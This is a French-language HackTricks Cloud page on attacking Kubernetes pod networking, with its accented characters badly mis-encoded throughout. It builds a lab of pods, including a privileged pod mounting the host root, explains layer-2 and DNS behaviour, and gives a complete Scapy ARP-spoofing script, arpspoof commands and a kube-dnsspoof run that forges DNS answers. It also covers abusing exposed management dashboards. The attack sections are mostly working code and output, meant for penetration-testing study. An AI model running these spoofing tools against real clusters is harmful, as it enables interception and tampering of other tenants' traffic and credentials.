Kubernetes Network Attacks
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Introduction
Dans Kubernetes, il est observĂ© quâun comportement par dĂ©faut permet lâĂ©tablissement de connexions entre tous les conteneurs rĂ©sidant sur le mĂȘme nĆud. Cela sâapplique indĂ©pendamment des distinctions de namespace. Une telle connectivitĂ© sâĂ©tend jusquâĂ la couche 2 (Ethernet). Par consĂ©quent, cette configuration expose potentiellement le systĂšme Ă des vulnĂ©rabilitĂ©s. En particulier, elle ouvre la possibilitĂ© pour un conteneur malveillant dâexĂ©cuter une attaque par spoofing ARP contre dâautres conteneurs situĂ©s sur le mĂȘme nĆud. Lors dâune telle attaque, le conteneur malveillant peut tromper pour intercepter ou modifier le trafic rĂ©seau destinĂ© Ă dâautres conteneurs.
Les attaques par spoofing ARP impliquent que lâattaquant envoie des messages ARP falsifiĂ©s (Address Resolution Protocol) sur un rĂ©seau local. Cela entraĂźne le lien de lâadresse MAC de lâattaquant avec lâadresse IP dâun ordinateur ou serveur lĂ©gitime sur le rĂ©seau. AprĂšs lâexĂ©cution rĂ©ussie dâune telle attaque, lâattaquant peut intercepter, modifier ou mĂȘme arrĂȘter les donnĂ©es en transit. Lâattaque est exĂ©cutĂ©e au niveau de la couche 2 du modĂšle OSI, câest pourquoi la connectivitĂ© par dĂ©faut dans Kubernetes Ă ce niveau soulĂšve des prĂ©occupations de sĂ©curitĂ©.
Dans le scĂ©nario, 4 machines vont ĂȘtre créées :
- ubuntu-pe : Machine privilĂ©giĂ©e pour sâĂ©chapper vers le nĆud et vĂ©rifier les mĂ©triques (non nĂ©cessaire pour lâattaque)
- ubuntu-attack : Conteneur malveillant dans le namespace par défaut
- ubuntu-victim : Machine victime dans le namespace kube-system
- mysql : Machine victime dans le namespace par défaut
echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"
Réseau Kubernetes de base
Si vous souhaitez plus de détails sur les sujets de réseau introduits ici, consultez les références.
ARP
De maniĂšre gĂ©nĂ©rale, le rĂ©seau pod-Ă -pod Ă lâintĂ©rieur du nĆud est disponible via un pont qui connecte tous les pods. Ce pont sâappelle âcbr0â. (Certains plugins rĂ©seau installeront leur propre pont.) Le cbr0 peut Ă©galement gĂ©rer la rĂ©solution ARP (Address Resolution Protocol). Lorsquâun paquet entrant arrive Ă cbr0, il peut rĂ©soudre lâadresse MAC de destination en utilisant ARP.
Ce fait implique que, par dĂ©faut, chaque pod sâexĂ©cutant dans le mĂȘme nĆud sera capable de communiquer avec tout autre pod dans le mĂȘme nĆud (indĂ©pendamment de lâespace de noms) au niveau ethernet (couche 2).
Warning
Par consĂ©quent, il est possible dâeffectuer des attaques de spoofing ARP entre les pods dans le mĂȘme nĆud.
DNS
Dans les environnements kubernetes, vous trouverez gĂ©nĂ©ralement 1 (ou plusieurs) services DNS en cours dâexĂ©cution, gĂ©nĂ©ralement dans lâespace de noms kube-system :
kubectl -n kube-system describe services
Name: kube-dns
Namespace: kube-system
Labels: k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations: prometheus.io/port: 9153
prometheus.io/scrape: true
Selector: k8s-app=kube-dns
Type: ClusterIP
IP Families: <none>
IP: 10.96.0.10
IPs: 10.96.0.10
Port: dns 53/UDP
TargetPort: 53/UDP
Endpoints: 172.17.0.2:53
Port: dns-tcp 53/TCP
TargetPort: 53/TCP
Endpoints: 172.17.0.2:53
Port: metrics 9153/TCP
TargetPort: 9153/TCP
Endpoints: 172.17.0.2:9153
Dans les informations prĂ©cĂ©dentes, vous pouvez voir quelque chose dâintĂ©ressant, lâIP du service est 10.96.0.10 mais lâIP du pod exĂ©cutant le service est 172.17.0.2.
Si vous vĂ©rifiez lâadresse DNS Ă lâintĂ©rieur de nâimporte quel pod, vous trouverez quelque chose comme ceci :
cat /etc/resolv.conf
nameserver 10.96.0.10
Cependant, le pod ne sait pas comment accéder à cette adresse car la plage de pods dans ce cas est 172.17.0.10/26.
Par consĂ©quent, le pod enverra les requĂȘtes DNS Ă lâadresse 10.96.0.10 qui sera traduit par le cbr0 en 172.17.0.2.
Warning
Cela signifie quâune requĂȘte DNS dâun pod va toujours passer par le pont pour traduire lâIP du service en IP de lâendpoint, mĂȘme si le serveur DNS est dans le mĂȘme sous-rĂ©seau que le pod.
Sachant cela, et sachant que des attaques ARP sont possibles, un pod dans un nĆud sera capable de intercepter le trafic entre chaque pod dans le sous-rĂ©seau et le pont et modifier les rĂ©ponses DNS du serveur DNS (DNS Spoofing).
De plus, si le serveur DNS est dans le mĂȘme nĆud que lâattaquant, lâattaquant peut intercepter toutes les requĂȘtes DNS de nâimporte quel pod dans le cluster (entre le serveur DNS et le pont) et modifier les rĂ©ponses.
Spoofing ARP dans les pods dans le mĂȘme NĆud
Notre objectif est de voler au moins la communication de lâubuntu-victim au mysql.
Scapy
python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses
# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0
# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *
def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac
def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)
def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)
def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")
try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()
try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()
if __name__=="__main__":
main()
# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward
ARPSpoof
apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10
DNS Spoofing
Comme dĂ©jĂ mentionnĂ©, si vous compromettez un pod dans le mĂȘme nĆud que le pod serveur DNS, vous pouvez MitM avec ARPSpoofing le pont et le pod DNS et modifier toutes les rĂ©ponses DNS.
Vous avez un trĂšs bon outil et tutoriel pour tester cela dans https://github.com/danielsagi/kube-dnsspoof/
Dans notre scĂ©nario, tĂ©lĂ©chargez lâoutil dans le pod attaquant et crĂ©ez un fichier nommĂ© hosts avec les domaines que vous souhaitez spoof comme :
cat hosts
google.com. 1.1.1.1
Effectuez lâattaque sur la machine ubuntu-victim :
python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge: 172.17.0.1 02:42:bd:63:07:8d
Kube-dns: 172.17.0.2 02:42:ac:11:00:02
[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com. 1 IN A 1.1.1.1
Note
Si vous essayez de crĂ©er votre propre script de spoofing DNS, si vous modifiez simplement la rĂ©ponse DNS cela ne va pas fonctionner, car la rĂ©ponse aura une src IP lâadresse IP du pod malveillant et ne sera pas acceptĂ©e.
Vous devez gĂ©nĂ©rer un nouveau paquet DNS avec la src IP du DNS oĂč la victime envoie la requĂȘte DNS (ce qui est quelque chose comme 172.16.0.2, pas 10.96.0.10, câest lâIP du service DNS K8s et non lâIP du serveur DNS, plus Ă ce sujet dans lâintroduction).
DNS Spoofing via coreDNS configmap
Un utilisateur ayant des permissions dâĂ©criture sur le configmap coredns dans lâespace de noms kube-system peut modifier les rĂ©ponses DNS du cluster.
VĂ©rifiez plus dâinformations sur cette attaque dans :
{{#ref}} abusing-roles-clusterroles-in-kubernetes/README.md {{/ref}}
Abusing exposed kubernetes management services
Des services comme Apache NiFi, Kubeflow, Argo Workflows, Weave Scope et le tableau de bord Kubernetes sont souvent exposĂ©s soit Ă Internet, soit au sein du rĂ©seau Kubernetes. Un attaquant qui parvient Ă trouver une plateforme utilisĂ©e pour gĂ©rer Kubernetes et y accĂ©der peut en abuser pour obtenir lâaccĂšs Ă lâAPI Kubernetes et effectuer des actions telles que crĂ©er de nouveaux pods, modifier des pods existants ou mĂȘme les supprimer.
Enumerating kubernetes network policies
Obtenez les networkpolicies configurées :
kubectl get networkpolicies --all-namespaces
Obtenir les politiques réseau Callico :
kubectl get globalnetworkpolicy --all-namespaces
Obtenez les politiques réseau Cillium :
kubectl get ciliumnetworkpolicy --all-namespaces
Obtenez dâautres CRD liĂ©s aux politiques installĂ©s par votre plugin rĂ©seau ou solution de sĂ©curitĂ© :
kubectl get crd | grep -i policy
Capturer le trafic
Lâoutil Mizu est un visualiseur de trafic API pour Kubernetes simple mais puissant, vous permettant de voir toute la communication API entre les microservices pour vous aider Ă dĂ©boguer et Ă rĂ©soudre les rĂ©gressions.
Il installera des agents dans les pods sĂ©lectionnĂ©s et rassemblera leurs informations de trafic pour vous les afficher sur un serveur web. Cependant, vous aurez besoin de permissions K8s Ă©levĂ©es pour cela (et ce nâest pas trĂšs discret).
Références
- https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1
- https://blog.aquasec.com/dns-spoofing-kubernetes-clusters
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

